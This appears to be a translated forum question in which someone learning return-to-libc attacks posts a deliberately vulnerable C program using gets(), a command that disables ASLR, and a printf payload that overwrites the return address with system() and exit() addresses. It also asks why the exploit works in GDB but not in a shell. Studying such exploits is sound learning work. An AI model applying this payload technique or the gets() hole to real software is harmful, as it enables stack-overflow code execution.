我想了解返回libc攻击是如何工作的,所以我编写了一个易受攻击的程序,以便我可以将函数的返回地址更改为system()
的返回地址。但是,该程序似乎无法调用system()
并完全退出。
- 我正在使用Debain Squeeze
- 我已禁用地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
#include <stdio.h>
void someFunc(void);
void someFunc(void){
char buffer[64];
gets(buffer);
//puts(buffer);
}
int main(int argc, char **argv)
{
someFunc();
return 0;
}
代码编译为:
gcc -fno-stack-protector -ggdb -o vuln vuln.c
使用GDB我断言:
/bin/zsh
是@ 0xbffff9b9
system()
是@ 0xb7ed0000
exit()
是@ 0xb7ec60f0
我通过在72
零,exit,system和指向/bin/zsh
的指针中按顺序管道来利用它:
printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
该程序不会发生段错误或执行/bin/zsh
。
有趣的是,如果我更改SHELL="/xin/zsh"
并在gdb中执行它,则系统调用有效:
Cannot exec /xin/zsh
所以我的问题是:
我是否正确理解了返回libc攻击概念?
我是否以正确的方式和顺序管道恶意代码?
为什么它似乎在GDB中工作,而在shell中不起作用?
(我已经阅读了return to libc works in gdb but not when running alone)